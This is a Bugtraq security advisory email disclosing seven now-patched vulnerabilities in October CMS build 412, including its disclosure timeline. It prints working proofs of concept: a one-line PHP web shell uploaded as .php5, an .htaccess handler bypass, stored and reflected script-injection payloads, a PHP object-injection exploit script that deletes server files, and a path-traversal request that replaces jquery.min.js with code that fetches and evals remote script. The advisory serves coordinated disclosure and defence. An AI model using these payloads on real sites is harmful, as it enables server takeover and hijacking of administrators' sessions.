October CMS v1.0.412 several vulnerabilities

--5cMgxsHvk79bpB3LRshtux6K3GEAWgojK
Content-Type: multipart/mixed; boundary="xNHL7NtPOniChCw1EgdNDELwITj6lNDu4";
 protected-headers="v1"
From: =?UTF-8?Q?Anti_R=c3=a4is?= <antirais@gmail.com>
To: bugtraq@securityfocus.com
Message-ID: <a0d714da-b261-e043-ade9-e95f12ee45c7@gmail.com>
Subject: October CMS v1.0.412 several vulnerabilities

--xNHL7NtPOniChCw1EgdNDELwITj6lNDu4
Content-Type: multipart/mixed;
 boundary="------------0C8888671E336A109CEFB139"

This is a multi-part message in MIME format.
--------------0C8888671E336A109CEFB139
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

October CMS v1.0.412 several vulnerabilities
############################################


Information
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Name:          October CMS v1.0.412 (build 412)
Homepage:      http://octobercms.com
Vulnerability: several issues, including PHP code execution
Prerequisites: attacker has to be authenticated user with media or asset
               management permission
CVE:           pending

Credit:        Anti R=C3=A4is
HTML version:  https://bitflipper.eu


Product
=3D=3D=3D=3D=3D=3D=3D

October is a free, open-source, self-hosted CMS platform based on the
Laravel
PHP Framework.


Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

October CMS build 412 contains several vulnerabilities. Some of them
allow an
attacker to execute PHP code on the server. Following issues have been
identified:

    1. PHP upload protection bypass
    2. Apache .htaccess upload
    3. stored WCI in image name
    4. reflected WCI while displaying project ID
    5. PHP code execution via asset management
    6. delete file via PHP object injection
    7. asset save path modification


Proof of Concepts
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

1. PHP upload protection bypass
-------------------------------

Authenticated user with permission to upload and manage media contents ca=
n
upload various files on the server. Application prevents the user from
uploading PHP code by checking the file extension. It uses black-list bas=
ed
approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
Definitions.php:blockedExtensions().

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D source start=
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=

106 <?php
107 protected function blockedExtensions()
108 {
109         return [
110                 // redacted
111                 php,
112                 php3,
113                 php4,
114                 phtml,
115                 // redacted
116         ];
117 }
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  source end =
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=


We can easily bypass file upload restriction on those systems by using an=

alternative extension, e.g if we upload sh.php5 on the server:

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D source start=
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=

<?php $_REQUEST[x]($_REQUEST[c]);
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  source end =
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=


Code can be execute by making a following request:
http://victim.site/storage/app/media/sh.php5?x=3Dsystem&c=3Dpwd

2. Apache .htaccess upload
--------------------------

As described in the PHP upload protection bypass section, the
application uses
black-list based defense. It does not prevent the attacker from uploading=
 a
=2Ehtaccess files which makes it exploitable on Apache servers. Attacker
can use
it to add another handler for PHP files and upload code under an alternat=
ive
name. Attacker has to first upload the .htaccess configuration file with
following settings:

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D source start=
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=

AddHandler application/x-httpd-php .z
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  source end =
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=


This will execute all .z files as PHP and after uploading a code named
sh.z to
the server. It can be used to execute code as described previously.

3. stored WCI in image name
---------------------------

Authenticated user, with permission to customize back-end settings, can
store
WCI payload in the image name. The functionality is located at:

	Settings -> Customize Back-end -> Brand Logo -> (upload logo) ->
	(edit name) -> (add title)

Set the name to following value:

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D source start=
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=

"><script>alert("stored WCI")</script x=3D"
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  source end =
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=


Payload is executed when the victim clicks on the image name to edit it.

When the administrator edits users profile image, attackers payload is
executed, allowing him to execute JavaScript during administrators activ=
e
session. This can be used, for example, to give another user a "super-use=
r"
permission.

4. reflected WCI while displaying project ID
--------------------------------------------

Authenticated user with permission to manage software updates can "Attach=

Project". When invalid value is provided, the error message doesnt prope=
rly
escape the given value, which allows an attacker to execute code. Since i=
t
requires the victim to paste or write the payload in the input field,
then it
isnt easily exploitable.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D source start=
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=

"><script>alert(1)</script x=3D"
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  source end =
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=


5. PHP code execution via asset management
------------------------------------------

Authenticated user with permission to manage website assets, can use this=

functionality to upload PHP code and execute it on the server.

Asset management URL: http://victim.site/backend/cms.
Functionality is located at: CMS -> Assets -> Add -> Create file.

First, attacker creates a new asset test.js with the following content:

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D source start=
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=

<pre><?php if(isset($_REQUEST[x])){echo system($_REQUEST[x]);}?></pre=
>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  source end =
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=


After saving the file, attacker renames it to test.php5 by clicking on ">=
_"
icon on the newly created file. Modal window opens which allows to specif=
y a
new filename.

URL to execute PHP code:
http://victim.site/themes/demo/assets/test.php5?x=3Dls%20-lah

6. delete file via PHP object injection
---------------------------------------

Authenticated user with "Create, modify and delete CMS partials" or "Crea=
te,
modify and delete CMS layouts" can move assets to different folders. This=

functionality is vulnerable to PHP object injection. User input is read f=
rom
selectedList parameter on line 11 and passed as argument to unserialize()=
=2E
Unserialized array object is passed to validatePath() on line 32.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D source start=
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=

 1 <?php namespace CmsWidgets;
 2
 3 class AssetList extends WidgetBase
 4 {
 5     // redacted
 6
 7     public function onMove()
 8     {
 9         $this->validateRequestTheme();
10
11         $selectedList =3D Input::get(selectedList);
12         if (!strlen($selectedList)) {
13             throw new ApplicationException(
                   Lang::get(cms::lang.asset.selected_files_not_found))=
;
14         }
15
16         $destinationDir =3D Input::get(dest);
17         if (!strlen($destinationDir)) {
18             throw new ApplicationException(
                   Lang::get(cms::lang.asset.select_destination_dir));
19         }
20
21         $destinationFullPath =3D $this->getFullPath($destinationDir);
22         if (!file_exists($destinationFullPath) ||
               !is_dir($destinationFullPath)) {
23             throw new ApplicationException(
                   Lang::get(cms::lang.asset.destination_not_found));
24         }
25
26         $list =3D @unserialize(@base64_decode($selectedList));
27         if ($list =3D=3D=3D false) {
28             throw new ApplicationException(
                   Lang::get(cms::lang.asset.selected_files_not_found))=
;
29         }
30
31         foreach ($list as $path) {
32             if (!$this->validatePath($path)) {
33                 throw new ApplicationException(
                       Lang::get(cms::lang.asset.invalid_path));
34             }
35
36     // ...
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  source end =
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=


Following PHP exploit uses the vulnerability. It requires an authenticate=
d
users session to execute as described previously.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D source start=
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=

<?php

class Swift_Mime_SimpleHeaderSet {}

class Swift_KeyCache_DiskKeyCache
{
    private $_keys;

    public function __construct($path, $filename) {
        $this->_keys =3D [$path =3D> [ $filename =3D> null]];
    }
}

class Swift_Mime_SimpleMimeEntity {
        private $_headers;
        private $_cache;
        private $_cacheKey;

        public function __construct($filename, $path =3D ) {
                $this->_headers =3D new Swift_Mime_SimpleHeaderSet();
                $this->_cache =3D new Swift_KeyCache_DiskKeyCache($path,
                    $filename);
                $this->_cacheKey =3D $path;
        }
}

function payload($filename) {
        $builder =3D new Swift_Mime_SimpleMimeEntity($filename);
        return base64_encode(serialize([$builder]));
}

function http($config) {
        $ch =3D curl_init($config[url]);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS,
            http_build_query($config[data]));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $config[headers]);
        curl_setopt($ch, CURLOPT_COOKIE, $config[cookies]);
        curl_setopt($ch, CURLOPT_PROXY, $config[proxy]);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

        return curl_exec($ch);
}

function get_config($url, $filename, $session) {
        return [
                url =3D> $url./backend/cms,
                data =3D> [
                        dest =3D> /,
                        theme =3D> demo,
                        selectedList =3D> payload($filename),
                ],
                headers =3D> [
                        X-OCTOBER-REQUEST-HANDLER: assetList::onMove,
                        X-Requested-With: XMLHttpRequest,
                ],
                cookies =3D> admin_auth=3D.$session,
                proxy =3D> localhost:8080,
        ];
}

$url =3D http://victim.site;
$session =3D <specify admin_auth cookie value here>;
$filename =3D /tmp/target.txt;

echo http(get_config($url, $filename, $session));
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  source end =
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=


7. asset save path modification
-------------------------------

Authenticated user, with permission to manage website assets, can modify =
the
path the file is saved to. This allows an attacker to save css, js, less,=

sass, scss files at different locations. Attacker can possibly use it to
execute JavaScript on the site, if the application tries to require an
file on
the server that does not exist or the attacker manages to delete the file=

beforehand. When an attacker creates a new asset, then the following requ=
est
is made.

Asset management URL: http://victim.site/backend/cms.
Functionality is located at: CMS -> Assets -> Add -> Create file.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D request =3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
POST /backend/cms HTTP/1.1
Host: victim.site
Content-Length: 817
Content-Type: application/x-www-form-urlencoded
X-OCTOBER-REQUEST-HANDLER: onSave
X-Requested-With: XMLHttpRequest
Cookie: admin_auth=3D...;
Connection: close

fileName=3Dtest.js&content=3Dtest&templateType=3Dasset&theme=3Ddemo
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D request end =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

The parameter fileName isnt validated and allows an attacker to specify =
an
path where the file should be saved to. Overwriting files is forbidden.
If we
specify the file name as ../../../test.js then we can assert that the
file is
created at the root of sites web directory.

We can execute JavaScript by combining this issue with file deletion
vulnerability via POI. For that, we are going to replace the
modules/backend/
assets/js/vendor/jquery.min.js file with our own content. It is loaded
on the
page for every authenticated user and allows us as an attacker to take
control
of their session. The payload for this example is the following:

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D source start=
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=

var c =3D new XMLHttpRequest();
c.open(GET, https://code.jquery.com/jquery-1.11.1.js, false);
c.onreadystatechange =3D () =3D> eval(c.responseText);
c.send();
var h =3D () =3D> {location.hash =3D Hacked:  + (new Date())};
setInterval(h, 1000);
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  source end =
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=


After we delete the jquery.min.js file on the server, we create a new ass=
et
with the payload as the content.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D request =3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
POST /backend/cms HTTP/1.1
Host: victim.site
Content-Length: 371
Content-Type: application/x-www-form-urlencoded
X-OCTOBER-REQUEST-HANDLER: onSave
X-Requested-With: XMLHttpRequest
Cookie: admin_auth=3D...;
Connection: close

fileName=3D../../../modules/backend/assets/js/vendor/jquery.min.js&conten=
t=3D
var+c+%3d+new+XMLHttpRequest()%3b
c.open(GET,+https%3a//code.jquery.com/jquery-1.11.1.js,+false)%3b
c.onreadystatechange+%3d+()+%3d>+eval(c.responseText)%3b
c.send()%3b
var+h+%3d+()+%3d>+{location.hash+%3d+Hacked%3a++%2b+(new+Date())}%3b
setInterval(h,+1000)%3b
&templateType=3Dasset&theme=3Ddemo
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D request end =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

After the victim authenticates, the payload is executed. For this
example, it
changes the URL hash every second, but can be used to take control of the=

victims session.


Conclusion
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Authenticated user with permission to manage website assets, upload and
manage
media contents or customize back-end settings can use vulnerabilities fou=
nd
there to execute PHP code on the server and take control of the applicati=
on.

New release v1.0.413 has been made available as a result:

    https://octobercms.com/support/article/rn-8
    https://github.com/octobercms/october/releases/tag/v1.0.413.


Timeline
=3D=3D=3D=3D=3D=3D=3D=3D

05.04.2017 | me > developer     | first vulnerability discovered
06.04.2017 | me > developer     | initial contact
07.04.2017 | me > developer     | sent PoC
09.04.2017 | developer > me     | developer implemented patches;
                                  requested additional information
09.04.2017 | me > developer     | sent PoC with additional information
                                  and findings
10.04.2017 | developer > me     | all issues were patched
11.04.2017 | developer > public | new release
11.04.2017 | me > DWF           | CVE request
12.04.2017 | me > public        | full disclosure

---
Anti R=C3=A4is
Blog: https://bitflipper.eu
Pentester at http://www.clarifiedsecurity.com


--------------0C8888671E336A109CEFB139
Content-Type: application/pgp-keys;
 name="0x0A1FF40C.asc"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
 filename="0x0A1FF40C.asc"

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2

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
YdsJAvy4iFADv/0LNPtL+V82c4sibSTu
=3DeSCk
-----END PGP PUBLIC KEY BLOCK-----

--------------0C8888671E336A109CEFB139--

--xNHL7NtPOniChCw1EgdNDELwITj6lNDu4--

--5cMgxsHvk79bpB3LRshtux6K3GEAWgojK
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJY983GAAoJEJi8ghYKH/QMyaEP/iJBWd9eRAwl5P0SwnzuFcoV
4FEq93zmmnDtIT2rj9Ysrmv3Z608oLWF0q+U4Z2r4xbsgSFB9qs561ifHQDyNhdZ
lrg1ZDNwzHUHo6ieBWyt1DhsYZTzDJ8HpeMlu/P0I/okIBfdz4cBJdiYZMxN81IE
vr307X5X0Tzb2HZCU672AdGjJi7e1ssqeBe6kWYvrfUUUGYfJyfYubWFKNNY56FP
Q6oDuCg5JoETx8U2m0G/uPqAbLbUlO+NKLb71ReIIXCRV/IG8cYA4LrHduIrnib9
YpzkqkYVFutMh6W9+8KmPcoaiVOCtJvJvdrU3g3xJmb+cIFkwUik4EB7051TuSta
xj4Fa7z2ZLwoFsspYna5H5hc7TQ1SwS5N2f8Lmc6DRHb2ays5ronvNilUoG1moX+
GOCWy2plhVH/+G5yO3kYNyIFukVxLY/FSZdjoLx6o9wzZ56hVDjvcbtMxw4Ib1Xe
1SDp5/zomoV/wlDfwICpa8VD1i4zn/egjjPGrnkfo60kGJXudN5MVKalnXWkOmps
sbHyihemnX/aNiXAvhf0v8z1b8WGWZ+2wGNiZP9HsGthtY54ubt1n7g4K0/taKow
3nBw8BGGdEn3PCpo7lDC+VF010zjQ9SBkcYKtVMhWergJ8HBGundAgGMxbxemOeD
wTBLs8xVK4kbFNU/5oSw
=U79t
-----END PGP SIGNATURE-----

--5cMgxsHvk79bpB3LRshtux6K3GEAWgojK--